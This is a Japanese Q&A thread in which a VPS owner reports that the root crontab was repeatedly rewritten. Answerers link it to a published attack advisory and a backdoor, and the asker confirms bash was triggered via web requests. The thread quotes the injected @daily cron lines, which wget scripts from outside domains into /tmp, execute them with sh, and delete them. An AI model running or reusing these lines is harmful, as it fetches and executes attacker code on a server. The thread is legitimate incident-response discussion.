VPSがcrontab書き換えられた?経緯と対策

このQ&Aのポイント
  • VPSのcronが不正に書き換えられていることが判明しました。サポートからはメンテではないとの回答があり、不正アクセスの可能性が浮上しています。ログイン履歴を確認した結果、私以外のアクセスはありませんでした。書き換えられたcronの内容は不審なURLを取得して実行するコマンドでした。一時的な対策として、/tmpディレクトリのファイルの一覧、cronの内容、ログインユーザーをロギングするスクリプトを実行しています。今後の対策としては、セキュリティ強化のためにファイアウォールの設定やアクセス制限の見直し、cronジョブの正当性の確認、パスワードの変更などが必要です。
  • VPSのcronが書き換えられる問題が発生しています。根本的な原因は不明ですが、不正アクセスの可能性が懸念されます。対策として、ログイン履歴の確認、/tmpディレクトリのファイルの監視、cronジョブの正当性の確認などが必要です。また、ファイアウォールの設定やアクセス制限の厳格化、パスワードの変更なども検討すべきです。
  • VPSのcronが不正に書き換えられており、不正アクセスを受けている可能性があります。不審なURLを取得して実行するコマンドがcronに追加されていました。現在は/tmpディレクトリのファイルの監視とログイン履歴の確認を行っていますが、セキュリティ強化のためにはファイアウォールの設定変更やアクセス制限の見直しなどが必要です。また、cronジョブの正当性の確認やパスワードの変更も忘れずに行いましょう。
回答を見る
  • ベストアンサー

VPSですがcrontabが書き換えられた??

畏れ入ります。 DTIのServersmanというVPSを借りているのですが、 本日rootのcronがすべて書き換えられていることに気が付きました。 サポートに問い合わせると、何者かによって書き換えられたのでは?とのことで、 DTIのメンテではないということでした。 sshのポート変更やアクセス元のIP制限など設定したのですが、 2時過ぎにまた書き換わったようで、実行したらしきファイル残骸が/tmpに残っていました。 ログイン履歴を見ても私しかおらず、一体何が起きているのか・・・と困っています。 いま、とりあえず、 ls -l /tmp crontab -l who の3コマンドを60秒毎にロギングするスクリプトを仕掛けてみました。 どんな対策をすべきか教えていただけると助かります。 ちなみに書き換えられていたcronは以下のようなものです。 ーーー @daily wget http://xfsdfadsdgfs.tba.pw/update -O /tmp/update;sh /tmp/update;rm -rf /tmp/update @daily wget http://xfsdfadsdgfs.tba.pw/update -O /tmp/update;sh /tmp/update;rm -rf /tmp/update @daily wget http://update2.x24hr.com/update2 -O /tmp/update2;sh /tmp/update2;rm -rf /tmp/update2 @daily wget http://update.mrbonus.com/update3 -O /tmp/update3;sh /tmp/update3;rm -rf /tmp/update3 @daily wget http://xfsdfadsdgfs.tba.pw/update -O /tmp/update;sh /tmp/update;rm -rf /tmp/update @daily wget http://update2.x24hr.com/update2 -O /tmp/update2;sh /tmp/update2;rm -rf /tmp/update2 @daily wget http://update.mrbonus.com/update3 -O /tmp/update3;sh /tmp/update3;rm -rf /tmp/update3 @daily wget http://xfsdfadsdgfs.tba.pw/update -O /tmp/update;sh /tmp/update;rm -rf /tmp/update @daily wget http://update2.x24hr.com/update2 -O /tmp/update2;sh /tmp/update2;rm -rf /tmp/update2 @daily wget http://update.mrbonus.com/update3 -O /tmp/update3;sh /tmp/update3;rm -rf /tmp/update3

質問者が選んだベストアンサー

  • ベストアンサー
  • drum_KT
  • ベストアンサー率43% (1108/2554)
回答No.2

追加です。書き込まれている内容が、昨日警察庁から発表された下記の攻撃事例に酷似しているようです。 http://www.npa.go.jp/cyberpolice/detect/pdf/20141007.pdf マルウェアに感染して動作していることが考えられるので、至急検知駆除作業を行うことと、運用しているOS含む全てのソフトウェアの脆弱性対策(パッチ適用)をお勧めします。 個人情報等を扱っているサイトを運用している場合は、まず至急で運用を停止することを検討してください。

smailsmail
質問者

お礼

ありがとうございます。まさにこのとおりでした。Webサーバー経由で、Getメソッドでbashを起動させられていました。。。

その他の回答 (1)

  • drum_KT
  • ベストアンサー率43% (1108/2554)
回答No.1

例えば下記のような手段で、既にバックドアが仕掛けられて動作しているのでは? http://blog.trendmicro.co.jp/archives/9959

関連するQ&A

  • crontabの書式について

    レンタルサーバーで運用しているWebサイトで初めてcronを使うことになり、現在以下のcrontabで正常に動作しているのですが、 このcrontabを「出力はresultに保存(常に上書き)、成功にせよエラーにせよメールは送信しない」という設定に変えるにはどうすればよいでしょうか。 #!/bin/sh cd /virtual/[myID]/cron/ wget http://sample.com/test.php

  • crontabの設定について

    某サイトを参考にIPアドレスの自動アップデート スクリプトを作成しました。 OSはCentOS6.2です。 その後、crontab -e を実行(中は空で何も記入されていませんでした)しました。 本来vi /etc/crontab で編集するのかなと思ったのですが、以前使用していたvinelinuxのcrontabと表示形式が違っていたので、何も書き込んでいません。 crontab -e 実行後、下記内容を貼り付け保存しました。MAIL TO は空欄たったのですが、スクリプトが正常に実行されているかメールで受信したいため、下記設定をしました。すると確かにメールは10間隔で届くのですが、内容は下記エラーです。 エラー内容 /bin/bash: root: command not found crontab 設定内容 SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO={ローカルドメイン内のメールアドレス記載} HOME=/ # run-parts 01 * * * * root run-parts /etc/cron.hourly 02 4 * * * root run-parts /etc/cron.daily 22 4 * * 0 root run-parts /etc/cron.weekly 42 4 1 * * root run-parts /etc/cron.monthly # DDNS */10 * * * * root perl /usr/ddns/ipchk.pl 00 5 * * 0 root rm -f /usr/ddns/CRT_IP.dat スクリプトの内容は下記のとおりです。スクリプトの中にwgetコマンドがあるのですが、centos6.2ではwgetが最初から入っていました。念のためyum -y install wget を実行したところすでにインストール済みの表示が出ました。(command not found と言うエラーからwgetが実行されないのかな、と勝手に思った次第です) #!/usr/local/bin/perl (which perl 実行結果 /usr/local/bin/perl と表示がでたのでそれに従いました) # $CRT_IPF = '/usr/ddns/CRT_IP.dat'; $NEW_IPF = '/usr/ddns/NEW_IP.dat'; $LOG = '/var/log/ddns.log'; open INPUT,"$CRT_IPF"; $CRT_IP=<INPUT>; close INPUT; system("/usr/local/bin/wget -q -O $NEW_IPF {ここには REMOTE_ADDR:の結果が取得できる登録済みDDNSのアドレス記入}"); open(INPUT,$NEW_IPF); $c = <INPUT>; $stp = index($c,"REMOTE_ADDR:")+12; $edp = length($c); $NEW_IP = substr($c,$stp,($edp-$stp)); close(INPUT); if ($NEW_IP ne "" and $CRT_IP ne $NEW_IP) { open (OUTPUT ,">$CRT_IPF"); print OUTPUT $NEW_IP; close OUTPUT; print "IP Address update: $CRT_IP to $NEW_IP\n"; system("/usr/bin/wget -q -O - '{DDNSのIP更新サイトのアドレス記載 &ドメイン&pw=パスワード}'"); $now_string = localtime; open (OUTPUT ,">>$LOG"); print OUTPUT "$now_string DDNS IP Address Updated. $CRT_IP to $NEW_IP\n"; close OUTPUT; } 何がいけないのでしょうか。よろしくお願いします。

  • crontabでのシェル自動実行がNG

    いつも参考にさせてもらっています。 linux(Red Hat Enterprise Linux ES release 3 Apache/2.0.46)上でcrontabを設定したいのですが、 現在うまくいっておりません。 まず、autoindex.shというシェルを/home/foo/scripts/ディレクトレィに作成しました。中身は3行からなっていて #!/bin/sh cd /var/www/html/search/index mknmz -a /var/www/html/test です。telnet上でroot権限を使用し、./autoindex.shコマンド発行で正常に動作しました。 そこで、crontabに以下のように # crontab -l 50 11 * * * root /home/foo/scripts/autoindex.sh と設定したところ、 # more /etc/log/cron Sep 27 11:50:01 intra crond[18280]: (root) CMD (root /home/foo/scripts/autoindex.sh ) とcronは決めていた時間(11時50分)に稼動しているようなんですが、mailを見ると # mail -t From root@XXX.com Wed Sep 27 11:50:01 2006 Date: Wed, 27 Sep 2006 11:50:01 +0900 From: root@XXX.com (Cron Daemon) To: root@XXX.com Subject: Cron <root@hoge> root /home/foo/scripts/autoindex.sh X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> /bin/sh: line 1: root: command not found と、シェルがこけているようです。 何か解決のヒントがありましたら、ぜひ教えていただけないでしょうか。

  • cronのシェルスクリプトで特定のファイルを時間差で実行したい

    現在、下記内容を記述したシェルスクリプトを使っています。 #!/bin/sh cd /virtual/web/ wget test1.php -O result wget test2.php -O result wget test3.php -O result exit test1.php、test2.php、test3.phpを10分の間隔をあけて実行したいのですが、cron側で設定する以外にシェルスクリプト側で設定することは可能でしょうか? あと基本的なことなのですが、test.phpを実行したい(叩きたい)だけの場合、wgetではなく他のコマンドではできないでしょうか?このような場合はどんなコマンドが適切なのでしょうか?

  • ルートディレクトリ復元方法

    環境はvmware内のcentos6.6(minimal) パーティションはLVM 実は、あるシェルプログラムの中に rm -rf / という記述が紛れ込んでしまい実行後にルート配下のディレクトリをいくつか消してしまいました。 「/bin」、「/sbin」、「/usr」、「/boot」等のディレクトリ そのせいでほとんどのコマンドが利用できなくなりました。 それで復旧を試みようとし、レスキューモードで立ち上げ https://tech.aucfan.com/rm-rf-retrieval/ を参考にextundeleteを/tmp配下にダウンロードしてコンパイルインストールしようとしましたが、 「C++ compiler cannot crate executables」というエラーが表示されてしまいました。 yumが利用できないのでwget をつかってgcc-g++に関連するすべてのrpmをダウンロードしてインストールを試みようとしましたが、 /bin/sh is needed by gcc-4.4.7-11.el6.x86_64 等のエラーが出てしまいました。 /binは削除してしまったためにこれが出てしまっているのかと思って、 /mnt/sysimageに/binをコピーしてみましたがだめでした。 オプションにnodepsやforceを指定しても駄目でした。 /bin等のディレクトリを復元する方法やextundelete以外に復元する方法をご存知の方が いたら教えてください。

  • cronの実行がうまくいかない。

    ubuntu18.04 LTSでcronのテストをしているのですが期待通りに動きません。 下記で、6時42分にログローテートが行われません。 原因と対策について教えて下さい。 ・/etc/crontab 42 6 *** root test -x /usr/sbin/anacron || (cd /&& run-parts --report /etc/cron.daily) ・/etc/cron.daily logrotate の記述がある。 ・/etc/logrotate.conf include /etc/logrotate.d の記載がある。 ・/etc/logrotate.d/logrotate_1.conf /tmp/rotate/test.log {   daily compress maxsize 1M create 0660 root root rotate 5 } ・/tmp/rotate/test.log が存在している。 尚、 ・手動実行 sudo logrotate -f /etc/logrotate.d/logrotate_1.conf では、 /tmp/rotate 実行後に、 test.log test.log.1.gz が存在します。

  • 外部のphpファイルをブラウザ表示させるコマンド

    外部のphpファイル(自分以外のサーバーにあるphpファイル)を、ある程度間隔を空けつつも、次々にアクセス(ブラウザ表示と同じ動作)していきたいと思っています。 試しに下記のようなシェルスクリプトを作成して、cronで動かしてみたのですが、うまくいきませんでした。 また、目的はアクセス(ブラウザで表示するのと同じ動作)するだけなので、wgetを使わなくても良いような気がするのですが、他に何を使うべきなのか分かりませんでした。 #!/bin/sh wget --spider http://example.com/index.php sleep 5 wget --spider http://example.com/index.php?p=2 sleep 5 wget --spider http://example.com/index.php?p=3 sleep 5 wget --spider http://example.com/index.php?p=4 sleep 5 wget --spider http://example.com/index.php?p=5 exit 根本的に何か間違っているのでしょうか、あるいは、他にどのような方法があるでしょうか?

  • windowsタスクスケジューラの設定方法

    Windows上で、mysqlに定期的にデータをインサートすることを考えています。 まずは、http://127.0.0.1/insert.php をGETすると、最新データを取り込み、MySQLにインサート出来るPHPを作りました。 あとは、定期的にhttp://127.0.0.1/insert.phpをGETすれば完成です。 次にwindowsにwgetをインストールしました。 コマンドプロンプトでwgetを稼働させてみたのですが、 C:\ > wget -O - http://127.0.0.1/insert.php としたところ、 「'wget' は、内部コマンドまたは外部コマンド、操作可能なプログラムまたはバッチ ファイルとして認識されていません。」 と表示され実行されません。 下記のようにCDしたあとにwgetを呼び込むことで実行が可能でした。 C:\ > C:\ > CD C:\Program Files (x86)\GnuWin32\bin C:\Program Files (x86)\GnuWin32\bin > C:\Program Files (x86)\GnuWin32\bin > wget -O - http://127.0.0.1/insert.php 次に、これをタスクスケジューラーで実行させなければなりません。 Linuxでは、CRONの実行領域に「wget -O - http://127.0.0.1/insert.php」 と記載するだけで稼働しました。 それを踏まえ、windowsのタスクスケジューラーの操作の部分に 「操作 ブログラムの開始  詳細 wget -O - http://127.0.0.1/insert.php」と記載してみたのですが稼働しませんでした。 次に 「操作 ブログラムの開始  詳細 CD C:\Program Files (x86)\GnuWin32\bin」 「操作 ブログラムの開始  詳細 wget -O - http://127.0.0.1/insert.php」 と2列に記載してみましたが同様に稼動できません。 このような場合、タスクスケジューラーにはどのように記載すればいいのでしょうか? よろしくお願いいたします。

  • IP自動更新スクリプトがうまく動作しません

    環境 FreeBSD9 IP自動更新スクリプトを作成したのですが、うまく動作しません。メールでwget not foundが10分間隔で送られてきます。 wgetコマンドが見つからないと言ってるようです。/usr/local/bin/にwgetコマンドがあります。 また、コマンドラインでもwgetを使用してダウンロードできます。 vi /usr/local/bin/ddo.sh に以下のスクリプトを作成して、実行権限を与えました。 #!/bin/sh wget -O - "http://free.ddo.jp/dnsupdate.php?dn=hogehoge&pw=hogehoge1234" >> /var/log/result.log コマンドプロンプトでddo.shを実行すると、正常にIP更新がされログにその更新内容が記載されます。 スクリプトをcrontab -eに登録しました。 */10 * * * * /usr/local/bin/ddo.sh 10分間隔で実行はされるのですが、wget not found がメールに届き、ログに更新内容の記載がありません。 何がいけないのでしょうか? よろしくお願いします。

  • <CentOS4.4>yumで自動updateされたパッケージ名(依存パッケージも含む)を知るために、それらの情報をメールしたい

    <CentOS4.4>yumで自動updateされたパッケージ名(依存パッケージも含む)を知るために、それらの情報をメールしたい yumが有効な場合、 /etc/cron.daily/yum.cron というファイルが存在し、 その中身は、 ############################################################################## #!/bin/sh if [ -f /var/lock/subsys/yum ]; then     /usr/bin/yum -R 120 -e 0 -d 0 -y update yum     /usr/bin/yum -R 10 -e 0 -d 0 -y shell /etc/yum/yum-daily.yum fi ############################################################################## で、 /etc/yum/yum-daily.yum の中身は ############################################################################## update ts run exit ############################################################################## なので、 dailyで、パッケージ群は自動的にupdateされる模様です。 //----------------------------------------------------------- で・・・・ 自動でupdateされると、設定ファイルが自動で書き換わることがあるので、 ローカル(windows PC に保存しているという意味)の設定ファイルと、サーバ上の設定ファイルで違いが生じてしまいます 。 よって、自動でupdateされたときに、updateされたパッケージ名とそれに依存するパッケージ名を、メールでとばしてほしいのですが、 ※あるいは、設定ファイルをメールに添付してくれると非常にありがたいです これは、どうすれば実現できるでしょうか? 以上、よろしくお願いいたします。